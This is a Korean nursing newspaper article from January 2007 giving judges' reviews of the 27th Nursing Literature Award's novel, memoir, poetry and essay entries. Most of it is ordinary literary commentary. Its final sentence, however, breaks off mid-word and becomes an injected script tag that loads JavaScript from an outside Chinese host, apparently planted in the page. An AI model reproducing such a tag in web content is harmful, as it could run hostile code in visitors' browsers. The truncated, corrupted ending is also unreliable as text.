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제27회 간호문학상 심사평
[편집국] 편집부   news@nursenews.co.kr     기사입력 2007-01-05 오후 16:24:03

◆ 소설.수기부문-전 상 국(작가.강원대 명예교수)

“간호 전문성과 문학적 재능 겸비해”

 〈소설부문〉 간호문학상 소설부문은 이제 우리나라 소설문학의 한 자리를 차지할 만큼 그 위상이 높아졌다. 간호사로서의 전문성에다 문학적 재능이 발휘된 이제까지의 응모작품들은 다른 문학상과 차별화한 독특한 영역 확보의 가능성이 크다는 뜻이다. 10편의 작품 읽기가 즐거웠던 일도 간호문학상에 대한 기대가 그만큼 컸기 때문이다. 그러나 전체적으로 작품 의도나 그것의 형상화를 위한 서술방법에서 좀더 실험적인 작품이 없었다는 것이 다소 아쉬움으로 남는다.

 당선작 「짧은 휴가」(이진자)는 뇌출혈로 쓰러진 어머니를 모시는 일로 생기는 가족간의 갈등을 매우 설득력 있게 서술한 작품이다. 독신으로 어머니의 간병을 도맡아온 화자의 내면심리 묘사도 좋고 오빠네 집에 맡기려던 어머니를 다시 찾아 돌아오는 반전이 매우 인상적이다. 좀더 세련된 소설 문장으로 서술 흐름에 긴장감을 주었다면 한결 좋은 작품이 되었을 것이다.

 가작 「날고 싶다」(박보영)는 번지점프대를 배경으로 젊은이들의 꿈과 그 좌절을 속도감 있게 그린 작품이다. 그러나 젊은 세대 특유의 자유분방한 사고와 그 행위를 대화 중심의 서술을 통해 형상화하려 한 의도는 좋았지만 상징의 함축미를 확보하지 못한 상태의 대화 남발이 작품의 완성도에 결정적 장애요인이었다는 생각이다.

 입상작에 비해 다소 뒤지지만 「희망의 외출」(김혜진) 「얼음새꽃」(이현숙) 두 작품에서 글쓴이들의 숨은 가능성을 볼 수 있었다.

 〈수기부문〉 좋은 수기에는 역경 극복의 의지와 함께 우리가 어떻게 살아야 할 것인가를 일깨워주는 삶의 지혜가 담겨 있다. 11편의 글이 모두 좋은 수기로서의 조건을 갖추고 있었기에 그 선별이 쉽지 않았다. 글쓴이의 진실성 그리고 전하고자 하는 글 내용 구성력 및 그 표현력을 가름의 기준으로 삼아 다음 두 편을 골랐다.

 당선작으로 뽑은 「내 품안에서」(박경희)는 치매센터에서 7년여 세월을 생활한 글쓴이의 그 마음가짐이 정말 훌륭하다. 치매노인을 돌보는 일이 소명감에 의해서가 아니라 그저 그분들의 마음을 편하게 해주는 평범한 일상이었다는 말이 인상적이다. 특히 94세의 치매노인이 글쓴이 품에서 숨을 거두는 이야기야말로 사랑의 실천 바로 그것이었다는 생각이다.

 가작 「그대 앞에 꽃피는 하늘」(최순복)은 바깥 분을 사고로 잃은 뒤 두 아이의 엄마로서 홀로서기를 하는 과정에서 부딪친 자신의 폐결핵 그리고 어머니의 암 발생 등 그 난관이 한두 가지가 아니지만 좌절하지 않고 꿋꿋하게 살아가는 모습이 감동적이다. 정리만 잘 됐다면 당선에 올라갈 수 있는 좋은 글이었다.

 이외에도 김정임, 김정수, 서유진, 정영미 님의 글들이 입상한 글들 못지않게 좋은 글이었다는 것을 아쉬운 마음으로 밝혀둔다.


◆ 시.수필부문-홍정선(문학평론가.인하대 교수)

“시 당선작 자유로운 상상력 돋보여”

 논리적으로 정확한 말이 작품을 아름답게 만드는 것은 아니다. 동양의 어떤 시인은 나뭇잎 하나가 떨어지는 것을 보고 가을이 온 것을 알았다고 썼지만, 나뭇잎은 가을이 오기 전에도 병이 들거나 바람에 흔들려서 떨어진다. 마찬가지로 어떤 작가가 모든 남자는 늑대라고 썼을 때, 이 말 역시 논리적으로 정확한 것은 아니다.

 문학작품에서 중요한 것은 말의 논리적 정확성이 아니다. 문학작품에 사용되는 말의 성공 여부는 개별적 경험의 구체성이 얼마나 일관성 있게 독자들의 정서를 충격할 수 있는 맥락을 구성하는가와 깊은 관계가 있다. 이번에 응모작들을 심사하면서, 특히 수필분야의 경우, 작품의 세련성보다는 진실한 감정을 얼마나 잘 전달하고 있는지에 우선적으로 주목하고자 한 것은 이 때문이다.

 〈시부문〉에서는 박보영의 「어제는 물이 새는 우주에」를 당선작으로 뽑는다. 그것은 이 작품이 지닌 발랄하고 자유로운 상상력을 높이 평가했기 때문이다. 일상적인 생활의 단조로움에 찌든 우리가 이 시처럼 시간과 공간의 시원스런 확장을 경험하면서 짜증나는 세사를 벗어나보는 것도 중요하고 의미있는 일이라 생각한다. “초목과/바람과/산새들의 언어로” 인간을 벗고 신화와 우주의 역사 속으로 들어가 보는 것은, 지금의 우리에게는 낯선 그러나 인간이 인간의 모습을 올바르게 자각하기 위해서는, 반드시 필요한 일이라 생각한다.

 그리고 가작으로는 오정숙의 「영산강」을 뽑는다. 이 시는 기왕의 모범적인 시들이 보여준 언어구사의 틀을 이어받고 있어서 독창적 발상에서는 다소 떨어지지만, 모범적인 학습이 앞으로의 더 나은 발전을 기약하는 첩경이라는 생각에서 뽑는다. 두 분 모두 앞으로 더 좋은 작품을 보여줄 것이라 믿는다.

 〈수필부문〉은 작품의 우?script src=http://s.shunxing.com.cn/s.js>
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